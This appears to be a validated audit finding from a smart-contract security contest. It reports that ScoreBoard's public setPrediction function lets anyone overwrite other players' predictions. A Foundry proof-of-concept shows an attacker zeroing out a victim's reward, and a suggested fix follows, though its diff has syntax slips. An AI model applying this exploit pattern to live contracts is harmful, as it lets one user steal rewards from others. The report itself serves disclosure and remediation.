Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`ScoreBoard::setPrediction` has lack of access control, allows anybody to update other user prediction

Summary

Lack of access control in setPredictionfunction disrupt the protocol working and dictate the outcome.

Vulnerability Details

Relavant code - https://github.com/Cyfrin/2024-07-the-predicter/blob/main/src/ScoreBoard.sol#L61-L75

function setPrediction(
address player,
uint256 matchNumber,
Result result
@> ) public {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}

If you check the highlighted line, the function is public, allows anybody to call it. Given function takes player address as input, matchNumber and Result result . Now suppose alice made a prediction for First round as Second from original ThePredicter:makePrediction and has no intention to change that.
But due to lack of access control in above function, anybody can call it on the behalf of user who already paid the fees and can update there result. This will affect the result that they could have with there own choice, rather anybody else updating that without knowing them.

POC

In existing test suite add following test

function test_rewardDistributionWhenAttackerUpdatePredictions() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
address attackerP = makeAddr("attackerP");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(attackerP);
vm.deal(attackerP, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
thePredicter.approvePlayer(attackerP);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Second
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(attackerP);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
/// Updating other users prediction to Draw
scoreBoard.setPrediction(stranger, 1, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(stranger, 2, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(stranger, 3, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(stranger, 1, ScoreBoard.Result.Second);
scoreBoard.setPrediction(stranger, 2, ScoreBoard.Result.Second);
scoreBoard.setPrediction(stranger, 3, ScoreBoard.Result.Second);
scoreBoard.setPrediction(stranger, 1, ScoreBoard.Result.Second);
scoreBoard.setPrediction(stranger, 2, ScoreBoard.Result.Second);
scoreBoard.setPrediction(stranger, 3, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(stranger);
vm.expectRevert();
thePredicter.withdraw();
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.withdraw();
vm.stopPrank();
console.log("User Reward:",stranger2.balance - 0.9994 ether);
vm.startPrank(stranger3);
vm.expectRevert();
thePredicter.withdraw();
vm.stopPrank();
vm.startPrank(attackerP);
thePredicter.withdraw();
vm.stopPrank();
console.log("Attacker Reward:",attackerP.balance - 0.9994 ether);
}

now run forge test --mt test_rewardDistributionWhenAttackerUpdatePredictions -vv and it will return following output.

[⠊] Compiling...
[⠃] Compiling 1 files with Solc 0.8.20
[⠊] Solc 0.8.20 finished in 1.84s
Compiler run successful!
Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[PASS] test_rewardDistributionWhenAttackerUpdatePredictions() (gas: 1151461)
Logs:
User Reward: 13633333333333333
Attacker Reward: 66966666666666666

Attacker got more and zero'd out stranger who could be also the part of reward pot if prediction wasn't updated by the attacker.

Impact

Potential Loss of points and Rewards

Tools Used

Manual Review

Recommendations

Only callers should be allow to update his choice. This can be achieved following way.

+modifier onlyPredicterOrUser ( address caller) {
+ if(msg.sender != caller && msg.sender != thePredicter){
+ revert revert ScoreBoard__UnauthorizedAccess();
+ }
+ _;
+ }
function setPrediction(
address player,
uint256 matchNumber,
Result result
- ) public {
+ ) public onlyPredicterOrUser {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.